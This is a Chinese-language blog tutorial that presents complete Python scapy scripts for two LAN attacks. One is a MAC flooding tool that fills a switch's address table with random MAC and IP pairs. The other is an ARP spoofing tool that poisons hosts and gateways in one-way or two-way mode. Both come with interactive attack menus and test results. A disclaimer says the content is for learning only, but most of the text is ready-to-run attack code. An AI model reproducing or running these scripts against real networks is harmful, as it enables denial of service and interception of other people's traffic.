• python 实现MAC泛洪与ARP欺骗


    声明:本文章的一切内容仅用于交流与学习

    目录

    一、Python scapy

    二、MAC泛洪

    三、ARP欺骗


    一、Python scapy

    scapy提供了构造、发送、接收、分析数据包的功能

    scapy的内容很多这里只说明要用到的内容

    RandMAC:自动生成一个随机的MAC地址

    packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

    Ether是指定MAC地址用的,IP是第三层指定IP

    sendp 发送二层报文

    send 发送三层报文

    基本上这些就够用了

    二、MAC泛洪

    很早很早之前写过用macof工具来实现MAC泛洪,现在要自己写一个!

    MAC泛洪原理前面也写过,如果不清楚可以去看——》传送门

    MAC泛洪的实质其实就是发送一堆随机的MAC地址,从而占满交换机的MAC地址表,但是发IPV4的报文还是需要指定IP的

    所以第一步就是构造一组假的源目IP 源目MAC地址

    构造MAC地址非常容易只需要使用RandMAC就可以生成

    构造IP,需要写一个小函数

    1. def randIP():
    2. ip=""
    3. for i in range(3):
    4. ip=ip+str(random.randint(0,255))+"."
    5. ip=ip+str(random.randint(0,255))
    6. return ip

    分析一下,其实就是先循环三遍每一遍向字符串中添加一个0-255的数和一个点,如192. 

    最后再加一个数,构成一个完整的ip格式

    有了这两个函数以后,就可以构造数据包了

    1. MAC1=RandMAC("*:*:*:*:*:*")
    2. MAC2 = RandMAC("*:*:*:*:*:*")
    3. IP1=randIP()
    4. IP2=randIP()
    5. packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

    源目MAC地址 源目IP 默认为IPV4报文

    接下来就是发送,因为scapy发送有一个小瑕疵,就是每次都输出一个发送成功,影响美观,于是做点小改动

    1. oldPrint = sys.stdout
    2. sys.stdout = open('trash.txt', 'w')
    3. sendp(packet, iface=iface, loop=0)
    4. sys.stdout = oldPrint
    5. print(f"{MAC1}---------->{MAC2} /IP {IP1}---------->{IP2}")

    这样就可以自定义输出格式了

    到这里MAC泛洪的一个数据包就构造发送好啦,剩下的就是循环了

    这里说一下sendp 有一个参数iface是用来指定网卡的,可以加进去,动态选择网卡

    把上面的内容封装了一下,输入处理了一下

    完整代码

    1. from scapy.all import *
    2. from scapy.layers.inet import *
    3. import random
    4. def randIP():
    5. ip=""
    6. for i in range(3):
    7. ip=ip+str(random.randint(0,255))+"."
    8. ip=ip+str(random.randint(0,255))
    9. return ip
    10. iface='eth0'
    11. def gj():
    12. MAC1=RandMAC("*:*:*:*:*:*")
    13. MAC2 = RandMAC("*:*:*:*:*:*")
    14. IP1=randIP()
    15. IP2=randIP()
    16. packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)
    17. oldPrint = sys.stdout
    18. sys.stdout = open('trash.txt', 'w')
    19. sendp(packet, iface=iface, loop=0)
    20. sys.stdout = oldPrint
    21. print(f"{MAC1}---------->{MAC2} /IP {IP1}---------->{IP2}")
    22. def ts():
    23. global iface
    24. a=int(input(f"当前网卡为{iface},【1】更改网卡,【2】发起攻击,【3】指定攻击次数,【0】退出\n"))
    25. if a==1:
    26. iface=input("请输入网卡名\n")
    27. ts()
    28. return
    29. elif a==2:
    30. while True:
    31. gj()
    32. elif a==3:
    33. b=int(input("输入攻击次数\n"))
    34. print("攻击开始....")
    35. for i in range(b):
    36. gj()
    37. elif a==0:
    38. return
    39. print("*" * 25 + "MAC泛洪攻击" + "*" * 25)
    40. ts()

    运行效果

     

    三、ARP欺骗

    arp欺骗原理——》传送门 

    arp欺骗其实更简单,明白原理代码反而好写

    完整代码,相信各位大佬都能看懂,看不懂直接留言或私信都可

    1. from scapy.all import *
    2. from scapy.layers.inet import *
    3. from scapy.layers.l2 import ARP
    4. import time
    5. def get_mac_address():
    6. import uuid
    7. node = uuid.getnode()
    8. mac = uuid.UUID(int = node).hex[-12:]
    9. MAC = ":".join([mac[e:e + 2] for e in range(0, 11, 2)])
    10. return MAC
    11. print(get_mac_address())
    12. def dx(IP1,IP2):
    13. a=get_mac_address()
    14. pkt=ARP(psrc=IP1,hwsrc=a,pdst=IP2,op=2)
    15. oldPrint = sys.stdout
    16. sys.stdout = open('trash.txt', 'w')
    17. send(pkt)
    18. sys.stdout = oldPrint
    19. print(f"{a} : 告诉{IP2},{IP1} 的MAC地址是{a}")
    20. def fx(IP1,IP2):
    21. a = get_mac_address()
    22. pkt = ARP(psrc=IP2, hwsrc=a, pdst=IP1, op=2)
    23. oldPrint = sys.stdout
    24. sys.stdout = open('trash.txt', 'w')
    25. send(pkt,iface="eth0")
    26. sys.stdout = oldPrint
    27. print(f"{a} : 告诉{IP1},{IP2} 的MAC地址是{a}")
    28. print("*"*25+"ARP欺骗"+"*"*25)
    29. a=int(input("【1】单向欺骗【2】双向欺骗【0】退出\n"))
    30. if a==1:
    31. IP1=input("请输入要攻击的主机IP\n")
    32. IP2 = input("请输被欺骗的主机IP/网关\n")
    33. while True:
    34. dx(IP1,IP2)
    35. time.sleep(1)
    36. elif a==2:
    37. IP1 = input("请输入IP1\n")
    38. IP2 = input("请输入IP2\n")
    39. while True:
    40. dx(IP1,IP2)
    41. fx(IP1,IP2)
    42. time.sleep(1)
    43. else:
    44. exit(0)

    运行效果

     

     

    因为是单向欺骗,所以PC1 ping PC2 可以通, PC2 ping PC1 通不了

    接下来就是双向欺骗

     

     

     都不通啦

     

  • 相关阅读:
    MySql5.5之后的默认存储引擎为InnoDB。
    elasticsearch安装步骤
    从eBPF到Rust:让内核可观测、可编程和更安全
    苹果手机如何设置铃声:3个方法完美解决题
    性能测试 —— Jmeter 命令行详细
    线上价格监测,不只监测价格
    一个 IT 人的自传,我在语雀开源人生
    冷知识:Mysql最大列限制和行限制
    含有双硫键的交联剂NHS-PEG1-SS-PEG1-NHS,NHS-SS-NHS,活性酯-双硫键-活性酯
    【每日一题】Day 42 选择题
  • 原文地址:https://blog.csdn.net/qq_40345591/article/details/127925836